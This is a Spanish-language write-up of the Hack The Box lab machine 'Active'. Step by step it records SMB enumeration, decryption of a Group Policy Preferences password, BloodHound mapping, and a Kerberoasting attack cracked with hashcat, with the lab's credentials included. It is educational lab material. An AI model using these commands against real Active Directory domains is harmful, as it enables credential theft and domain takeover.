Active WriteUp
Active is an easy to medium difficulty machine, which features two very prevalent techniques to gain privileges within an Active Directory environment.

Enumeracion
Iniciamos con un escaneo de nmap:
$ nmap -sV -Pn -sC -T4 10.10.10.100
Entramos como anonymous al smb para enumerar los shares disponbibles con:
$ smbclient -L //10.10.10.100
Dentro encontramos unas policies con las credenciales de la cuenta de servicio svc_tgs con su clave edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ cifrada
Buscamos informacion sobre como decodear la clave obtenida
https://github.com/t0thkr1s/gpp-decrypt
Deciframos la clave con gpp-decrypt
Conseguimos decifrar la clave: GPPstillStandingStrong2k18
Acceso Inicial
Enumeramos los shares disponibles como svc_tgs:
$ nxc smb 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --shares
Listamos los contenidos dentro de /Users:
$ smbclient //10.10.10.100/Users -U '10.10.10.100\svc_tgs%GPPstillStandingStrong2k18'
Obtenemos la flag de user.txt en \SVC_TGS\Desktop\
Enumeramos todo el AD con bloodhound para ver posibles vectores de escalada:
$ bloodhound-python -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' -d active.htb -ns 10.10.10.100 -c All --zip
Encontramos que la cuenta Administrator posee un SPN apuntando al servicio de Samba en el puerto 445:
Service Principal Names: active/CIFS:445
Un SPN (Service Principal Name o Nombre Principal del Servicio) es un identificador único en un entorno de Active Directory (AD) que asocia una instancia de servicio (como un servidor web o de bases de datos) con la cuenta de servicio que la ejecuta, permitiendo a los clientes autenticarse y conectarse al servicio correcto mediante el protocolo Kerberos.
Kerberos permite a cualquier usuario de dominio solicitar un ticket de servicio (TGS) para un SPN público, el DC entrega el ticket porque el cliente legítimo necesitaría ese ticket para autenticarse al servicio. No se exige privilegio especial para pedirlo.
Ese TGS contiene una parte cifrada con la clave del servicio, y esa clave se deriva de la contraseña de la cuenta que tiene asignado el SPN (si es una cuenta de usuario o de servicio con contraseña).
El atacante pide el TGS, lo guarda y extrae el bloque cifrado. Como el cifrado está basado en la clave/contraseña del servicio, el bloque se puede atacar offline (brute-force / dictionary) hasta recuperar la contraseña si ésta es débil.
Por eso cualquier SPN que apunte a una cuenta con una contraseña debil es vulnerable: no importa qué servicio sea, lo que importa es que el ticket se cifre con la clave de esa cuenta.
PrivEsc via Kerberoasting
Solicitamos el ticket para el SPN objetivo con la cuenta SVC_TGS y lo volcamos a tgt.txt (archivo con el ticket cifrado):
$ nxc ldap 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --kerberoast tgt.txt
Crackeamos el ticket obtenido con hashcat y obtenemos la clave de Administrator:
$ hashcat tgt.txt /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
Password: Ticketmaster1968
Nos conectamos mediante SMB a /Users como Administrator con la clave previamente obtenida:
$ smbclient //10.10.10.100/Users -U '10.10.10.100\Administrator%Ticketmaster1968'
Obtenemos la flag de root.txt en \Administrator\Desktop\
📌 Sígueme / Portfolio
🌐 Web: https://0xnano.com
🐙 GitHub: https://github.com/0xN4no
🔎 ¿Te gustó el writeup? Comentá o compartilo — siempre respondo dudas y me encanta ver mejoras/PRs.




